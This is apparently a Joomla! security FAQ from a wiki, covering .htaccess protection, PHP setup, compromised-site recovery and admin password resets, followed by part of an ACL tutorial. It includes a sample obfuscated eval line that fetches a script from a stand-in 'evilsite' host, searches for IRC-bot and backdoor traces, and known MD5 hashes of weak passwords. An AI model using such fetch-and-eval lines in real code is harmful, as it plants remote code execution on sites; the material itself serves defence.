Don't use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.

Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.

'''Directions'''

1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.
Apache Authentication, Authorization, and Access Control

2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.

3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it's probably best to add the new code to it.

4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.

/home/mysite/public_html/.htaccess
/home/mysite/auth/.htpasswd/
/home/mysite/auth/.htgroups/

5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you've read the always current and official documentation at Apache.org, we'll spare you the trouble of displaying it again here.)

6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don't forget the dot at the beginning of the name.)

7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.

AuthUserFile /home/auth/.htpasswd
AuthGroupFile /home/auth/.htgroups
AuthType Basic
AuthName "LWS"
require group admins

8. Test carefully.

9. Remove all backup .htaccess files from public_http directories.

10. If you cannot use the Apache htpasswd utility, here's a free, online script that creates the necessary files for you. You'll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you'll need to edit the resulting files.

'''.htaccess Generator:''' http://www.webmaster-toolkit.com/htaccess-generator.shtml

== How do I restrict directory access by IP address using .htaccess? ==

'''Overview'''

This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.

'''Directions'''
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:

Order Deny,Allow
Deny from all
Allow from 100.100.100.100

* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.

* Optional: You can add multiple addresses by separating them with comma's.

100.100.100.101, 100.100.100.102

==How do I convert an htaccess.txt file into a .htaccess file?==

'''Introduction'''

When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.

'''Directions'''

# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.
# Make any adjustments to this file as appropriate for your site, and then save it in your site's home directory as, .htaccess (including the dot).
# Test your site's front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.

'''More Information'''

* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]

== How do I block direct hot linking to image files using .htaccess? ==

'''Caveats'''

# Your server must allow .htaccess files for this technique to work.
# If you do not have a .htaccess file in your root directory, see the related FAQ first.
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.
# Hot linked images can only be replaced by other images, not with HTML pages.
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.

'''Directions'''

# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.
# Place the following code in the .htaccess file of your root directory.

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]</source>

'''Explanation'''

The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means "aNy Case", which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.

'''Block hot linking from specific domains'''

To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]</source>

You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means "Or Next", as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.

'''Display a 403 forbidden code'''

Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:

RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]

= PHP =

== Why is Joomla! written in PHP? ==

: Might as well get it from the horse's mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.

: ''"What it all boils down to is that PHP was never meant to win any beauty contests. It wasn't designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP's stubborness."''

== What is the latest stable release of PHP? ==

Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.

== How do I tune for speed with PHP5 and MySQL5? ==

: This is just a point by point summary of how I've been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.

: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.

# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn't bad for JPG and GIF images either. Don't forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn't write it, but it's short, to the point, and works.

ob_start ("ob_gzhandler");
header("Content-type: text/css");
header("Cache-Control: must-revalidate");
$offset = 60 * 60 ;
$ExpStr = "Expires: " .
gmdate("D, d M Y H:i:s",
time() + $offset) . " GMT";
header($ExpStr);

# Strip unneeded modules, components, mambots from Joomla. If you haven't used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don't necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you've noticed any problems, it's time to fix the code creating them, and test thoroughly before uploading the fixed versions.
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.

== Should PHP run as a CGI script or as an Apache module? ==

There are two ways to configure Apache to use PHP: 

# Configure Apache to load the PHP interpreter as an Apache module
# Configure Apache to run the PHP interpreter as a CGI binary

(PS: Windows IIS normaly configures as CGI by the way) 

It is the intention of this post to provide you information relating to
the configuration and recognition of each method. "In general"
historically only one method or the other has been implemented,
however, with the architectural changes made to PHP starting with PHP5,
it has been quite common for hosting firms to configure for both. One
version running as CGI and one version running as a Module. It is
generally accepted more recently that running PHP as a CGI is more
secure, however, running PHP as an Apache Module does have a slight
performance gain and is generally how most pre-configured systems will
be delivered out of the box.

What is the difference between CGI and apache Module Mode? 

An Apache module
is compiled into the Apache binary, so the PHP interpreter runs in the
Apache process, meaning that when Apache spawns a child, each process
already contains a binary image of PHP. A CGI is executed as a single
process for each request, and must make an exec() or fork() call to the
PHP executable, meaning that each request will create a new process of
the PHP interpreter. Apache is much more efficient in it's ability to
handle requests, and maaging resources, making the Apache module
slightly faster than the CGI (as well as more stable under load). 

CGI Mode
on the other hand, is more secure because the server now manages and
controls access to the binaries. PHP can now run as your own user
rather than the generic Apache user. This means you can put your
database passwords in a file readable only by you and your php scripts
can still access it! The "Group" and "Other" permissions ( refer <a href="component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank">Permissions FAQ</a>

can now be more restrictive. CGI mode is also claimed to be more
flexible in many respects as you should now not see, with phpSuExec (
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank Permissions under phpSuExec]
issues with file ownership being taken over by the Apache user,
therefore you should no-longer have problems under FTP when trying to
access or modify files that have been uploaded through a PHP interface,
such as Joomla! upload options.

If your server is
configured to run PHP as an Apache module, then you will have the
choice of using either php.ini or Apache .htaccess files, however, if
your server runs PHP in CGI mode then you will only have the choice of
using php.ini files locally to change settings, as Apache is no longer
in complete control of PHP.

<hr />

Testing and Reviewing Your PHP Installation 

Also known as "Everything you ever wanted and didn't want to know about PHP"

To
find out the PHP interpreter mode and to generally test your PHP
installation and to find out a vast amount of information about your
PHP environment, supported utilities, applications and settings, you
create a single PHP file containing only the following lines; 


phpinfo(); 

This single line of code outputs an amazing amount of information, be warned.... <img src="http://forum.joomla.org/Smileys/joomla/wink.gif" alt="Wink" border="0" />

Save the file as any filename you wish, but with the ".php" extension. FTP it to your server and open it in a browser.

Other useful information

The following are PHP functions, that when run from a PHP File can provide some useful information, (less than the above option) many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee's offered...

Again,
as above, make a file, name it anything you wish but make sure it has
the ".php" extension, copy and paste the following lines in to it and
FTP to your server. 

<? echo "Hostname: ". @php_uname(n) ."";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`)); } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) ."";
echo "Architecture: ". @php_uname(m) ."";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )";
echo "Curent Path: ". getcwd () ."";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . "";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . "";
echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] ."";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] ."";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""; 
?>

The Joomla! HISA or Joomla! Tools Suite can also assist to determine which mode your server in running in, also
providing a large amount of other related information including recommendations on configuration.

Joomla! Tools Suite (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the "HISA" script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]

Joomla! Health, Installation and Security Audit (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]

[http://forum.joomla.org/index.php/topic,136328.0.html Forum Discussion Here]

[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]

Another Indirect method, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.

Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm

For those wishing to know more about "How To..."

Running PHP as an Apache module 
To configure Apache to load PHP as a module to 'parse' your PHP scripts, the httpd.conf needs to be modified, typically found in "c:\Program Files\Apache Group\Apache\conf\" or "/etc/httpd/conf/".

Search for the section of the file that has a series of commented out "LoadModule" statements. (Statements prefixed by the hash "#" sign are regarded as having been commented out.) If PHP is running in "Apache Module" Mode you should see something very similar to the following;

LoadModule php4_module "c:/php/php4apache.dll"

Apache 1.x

For PHP5
LoadModule php5_module C:/php/php5apache2.dll 
or (platform dependant) 
LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 

LoadModule php4_module C:/php/php4apache.dll 

and
AddModule mod_php4.c 
or 
AddModule mod_php5.c 
 
Apache 2.x 

For PHP5

LoadModule php5_module C:/php/php5apache2.dll 

or (platform dependant)

LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 
LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php5.c 

or 
AddModule mod_php4.c 

Note: 
Don't worry that you can't find a "mod_php4.c" or "mod_php5.c" file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server. 

If you're using Apache 2.x, you do not have to insert the AddModule directive. It's no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.

Now find the "AddType" section in the file, and add the following line after the last "AddType" statement:

AddType application/x-httpd-php .php 

If you need to support other file types, like ".php3" and ".phtml", simply add them to the list, like this:<

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Run a syntax check and if all is ok, restart Apache... 

<hr />
Running PHP as a CGI binary 
To configure PHP to run as a CGI, again you will need to configure the
httpd.conf, but confirm that the above settings are not also
configured, unless you now what you are doing you can generate yourself
"HTTP 500" errors. Search your Apache configuration file for the
"ScriptAlias" section.

Add the following line below after the ScriptAlias for "cgi-bin". 

Note:

The location will depend on where PHP is installed on your system, you
should substitute the appropriate path in place of "c:/php/" (for
example, "c:/Program Files/php/"). 

ScriptAlias /php/ "c:/php/" 

Apache
again needs to be configured for the PHP MIME type. Search for the
"AddType" section, and add the following line after it: 

AddType application/x-httpd-php .php 

As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the "Action" section.

Action application/x-httpd-php "/php/php.exe"

If you notice, we have used the "ScriptAlias" reference, "/php/" portion
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. In other words, don't put "c:/php/php.exe" or "c:/Program Files/php/php.exe" in that directive, put
"/php/php.exe", Apache WILL work it out if correctly configured.

Configuring the Default Index Page 
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.

If you want to make your PHP script execute as the default page for a directory, you have to add another line to the "httpd.conf". Simply search for the line in the file that begins with a "DirectoryIndex" and add "index.php" to the list of files on
that line. For example, if the line used to be:

DirectoryIndex index.html

change it to

DirectoryIndex index.html index.php 
If you still wish .html files to be executed before .php files 
 
or 
DirectoryIndex index.php index.html 
If you wish .php files to be executed before .html files

The next time you access the site or a directory within a site without a
filename, Apache will "auto-magically" deliver "index.php" if
available, or "index.html" if "index.php" is not available.

== Why shouldn't I use PHP safe_mode? ==
'''Overview'''
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.

The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.

Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.

'''From the official PHP site'''

''"The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now."''
'''More Information'''

# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]

= Development =
== How do I setup a secure demo site? ==

In /includes/version.php look for:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 1;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 0;

For a demo site it is advised to following:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 0;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 1;

$SITE = 0
// Allows multiple user logins with only one account. By default Joomla!
// allows only one active session per account as a security feature.

$RESTRICT = 1
// Disables those logging in, both Front-end and Back-end from changing
// user details - like password and username

These settings are used on the official demo site http://demo.joomla.org

You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.

== How can I view a live site while developing, but hide it from others? ==

'''Introduction'''

The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.

'''Directions'''

1. Login to the administrator section, and choose: Site > Global Configuration.

2. The first option you'll see is is to set the site offline. Choose "Yes" and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:

"This site is down for maintenance. Please check back again soon. message instead."

3. While you are logged into the "back end" administrator system, you can still view the "front end," by choosing Site > Template > Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.

= Site Recovery =

== Help! My site's been compromised. Now what? ==

'''Directions'''

# '''Change all relevant passwords:''' Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.
# '''Check raw logs:''' Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.
# '''List recently modified files:''' Before making any changes to your site, generate a list of recently modified files. Here's a php script that will list the files for you. Remove this script as soon as you have your list and don't publish a link to it!
# '''Note suspicious newly-created files:''' Use this list to identify new files that don't belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.
# '''Note suspicious recently-modified files:''' Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.
# '''Check for bogus CRON Jobs:''' Hacked cron jobs can be setup to reinfect your site over and over again.
# '''Coordinate with your host:''' If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.
# '''Delete the entire public_html directory:''' This is the best way to guarantee that every potential vulnerability in that site is removed.
# '''Delete related database records:''' This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.
# '''Reinstall everything:''' Use pre-crack backups. If you don't have good backups, go on to step 10.
# '''Reset critical passwords again:''' You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.
# '''Rebuild site:''' If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions
# '''Review security processes:''' Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.
# '''Review backup processes:''' If you don't already have one, add a dependable backup process to your site administration practices.
# '''Stay watchful:''' Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.

==How do I reset an administrator password?==

'''Introduction'''

'''Note:''' This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this '''([[How_do_you_recover_your_admin_password%3F|FAQ]])'''

Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.

'''Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x'''
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.

'''Directions'''

1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .

2. Open the correct database and select the table, jos_users . (Change default table prefix, 'jos_' to your table prefix if it is different.)

3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)

4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.
'''Warning:''' You must paste the password's hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.

password = "MD5 hash of password"
------------------------------------------------------
admin = 21232f297a57a5a743894a0e4a801fc3
secret = 5ebe2294ecd0e0f08eab7690d2a6ee69
OU812 = 7441de5382cf4fecbaa9a8c538e76783

5. Save the user record.

6. Point a browser to your site and log in using the Super Administrator account you just modified.

7. '''IMPORTANT:''' Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will 'salt' your new password, thus adding an additional level of security on top of the MD5 hash.

Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.

'''Generating your own MD5 hash from a password of your choice'''

Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you've generated a hash with these tools.

'''Online MD5 hash creation tools'''
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/
* MD5er - http://www.md5er.com/

'''Free MD5 utilities for download'''
* MD5 & Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm

'''Other MD5 tools'''
* There are many free online and downloadable MD5 utilities. Google "MD5 hash tool"

== How do I find exploits using the *NIX shell? ==

'''Check the active processes'''

Use the "ps" command to look for odd or unknown processes, if you aren't sure what to look for there, user "netstat -ae | grep irc" and/or "netstat -ea | grep 666" and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name "irc" listed against them, or may have "httpd" or sometimes other regular services names.

'''Check crontab'''

Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.

'''Check for hidden files or directories'''

Check for hidden files or directories you dont expect to see, those starting with "." (dots) and also look for ". " (dot, space) often favored to try and catch searches for hidden directories.

Other examples of searches that may help pin down exploits and/or unexpected files and folders:

find /home -type f | xargs grep -l MultiViews
find . -type f | xargs grep -l base64_encode <<< this can produce false positives, it is valid in many mail/graphics scripts
find . -type f | xargs grep -l error_reporting
find / -name "[Bb]itch[xX]"
find / -name "psy*"
ls -lR | grep rwxrwxrwx > listing.txt

== What are these strange (URL-Encoded) characters doing in my code? ==

Overview

Attackers sometimes hide code away from prying eyes by URL Encoding it.

The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.

However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.

Here are some trivial, non-functioning examples of URL Encoded text:

<table border="1">
<tr>
<th>Original</th>
<th>URL Encoded</th>
</tr>
<tr valign="top">
<td>this line has spaces</td>
<td>this%20line%20has%20spaces</td>
</tr>
<tr valign="top">
<td>eval(evil_script(http://www.evilsite/?evilscript.pl"));</td>
<td>%65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77.
%65%76il%73ite/%3F%65%76il%73
cript.%70l%22%29%29%3B</td>
</tr>
</table>

'''Resources'''

# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security]]
[[Category:FAQ]]
[[Category:Security_FAQ]]

Archived:Access Control List Tutorial

2011-09-26T04:07:31Z

Cadrlp:

=ACL Defined=

;ACL or [http://en.wikipedia.org/wiki/Access_control_list Access Control List]
:According to Wikipedia, “An ACL specifies which users or system processes are granted access to objects, as well as what operations are allowed to be performed on given objects.”

In the case of Joomla!, we have two separate aspects to ACL.
# Which users can gain access to what parts of the website? For example, will a given menu choice be visible for a given user?
# What operations (or actions) a user can perform on any given object? For example, can a user submit or edit an article?

=Overview of ACL in Version 1.6=

This section outlines the major ACL changes between versions 1.5 and 1.6.

==Users, Groups, and Access Levels==

With the definition in mind, let's look at how we set up the ACL for our site in version 1.6. The table below summarizes the major changes from version 1.5.

{| class="wikitable" cellspacing="0" cellpadding="4" border="1"
| 
! Version 1.5
! Version 1.6
|-
! Groups
| 7 fixed groups (Public, Registered, Author, Editor, Publisher, Manager, Administrator, and Super-Administrator)
| Unlimited user-defined Groups
|-
! Users & Groups
| A User can be assigned to only one group
| A User can be assigned to multiple groups
|-
! Access Levels
| 3 fixed Access Levels (Public, Registered, Special)
| Unlimited user-defined Access Levels
|-
! Access Levels & Groups
| Relationship between Groups and Access Levels was fixed.
| Groups are assigned to Access Levels. Any combination of Groups can be assigned to any Access Level.
|}

We see that in every case the ACL has been made much more flexible, with unlimited Groups and Access Levels, and the ability to assign one User to multiple Groups and any Groups to any Access Level.

==Actions, Groups, and Inheritance==

The other side of ACL is granting permissions to users to take actions on objects. Here again there is a big change between Version 1.5 and 1.6. In 1.5, the actions allowed for a given group were fixed. For example, a User in the Author group could only submit an article whereas someone in the Publisher group could submit, edit, and publish articles. Also, in version 1.5 the permissions were all-or-nothing. A member of the Editor group could edit all articles on the site.

The table below shows what has changed between versions 1.5 and 1.6.

{| class="wikitable" cellspacing="0" cellpadding="4" border="1"
| 
! Version 1.5
! Version 1.6
|-
! Groups and Actions
| Actions allowed by different groups are fixed.
| Actions allowed for each group are defined by site administrator.
|-
! Permission Scope
| Entire Site. User has same permissions for all objects on the site.
| Permissions can be set at multiple levels in hierarchy: Site, Component, Category, Object.
|-
! Permission Inheritance
| Not applicable
| Permissions can be inherited from parent Groups and parent Categories
|}

==How Permissions Work==

There are four possible permissions for actions, as outlined below:

* '''Not set''': Defaults to "deny" but, unlike the Deny permission, this permission can be overridden by setting a child group or a lower level in the permission hierarchy to "Allow". This permission only applies to the Global Configuration permissions.
* '''Inherit''': Inherits the value from a parent Group or from a higher level in the permission hierarchy. This permission applies to all levels except the Global Configuration level.
* '''Deny''': Denies this action for this level and group. '''IMPORTANT:''' This also denies this action for all child groups and all lower levels in the permission hierarchy. Putting in Allow for a child group or a lower level will not have any effect. The action will always be denied for any child group member and for any lower level in the permission hierarchy.
* '''Allow''': Allows this action for this level and group and for lower levels and child groups. This does not have any effect if a higher group or level is set to Deny or Allow. If a higher group or level is set to Deny, then this permission will always be denied. If a higher group or level is set to Allow, then this permission will already be allowed.

==Permission Hierarchy Levels==

Action permissions in version 1.6 can be defined at up to four levels, as follows:
# '''Global Configuration''': determines the default permissions for each action and group.
# '''Component Options->Permissions''': can override the default permissions for this component (for example, Articles, Menus, Users, Banners, and so on)
# '''Category''': can override the default permissions for objects in one or more categories. Applies to all components with categories, including Articles, Banners, Contacts, Newsfeeds, and Weblinks.
# '''Article''': Can override the permissions for a specific article. This level only applies to articles. Other components only allow the first three levels.

===Global Configuration===
This is accessed from Site → Global Configuration → Permissions. This screen allows you set the top-level permission for each group for each action, as shown in the screenshot below.
[[Image:screenshot_acl_tutorial_20110111-01.png|center]]
The options for each value are Inherited, Allowed, or Denied. The Calculated Setting column shows you the setting in effect. It is either Not Allowed (the default), Allowed, or Denied.

You work on one Group at a time by opening the slider for that group. You change the permissions in the Select New Settings drop-down list boxes.

Note that the Calculated Setting column is not updated until you press the Save button in the toolbar. To check that the settings are what you want, press the Save button and check the Calculated Settings column.

===Component Options->Permissions===
This is accessed for each component by clicking the Options icon in the toolbar. This screen is similar to the Global Configuration screen above. For example, clicking the Options toolbar icon in the Menu Manager shows the Menus Configuration below.
[[Image:screenshot_acl_tutorial_20110111-02.png|center]]
Access to Options is only available to members of groups who have permission for the Configure action in for each component. In the example above, the Administrator group has Allowed permission for the Configure option, so members of this group can access this screen.

===Category===
Category permissions are accessed in the Category Manager: Edit Category screen, in a slider at the bottom of the screen. This screen has five permissions, as shown below.
[[Image:screenshot_acl_tutorial_20110111-03.png|center]]
In these screens, you work on the permissions for one User Group at a time. In the example above, we are editing the permissions for the Administrator group.

Note that the Configure and Access Component actions do not apply at the category level, so those actions are not included.

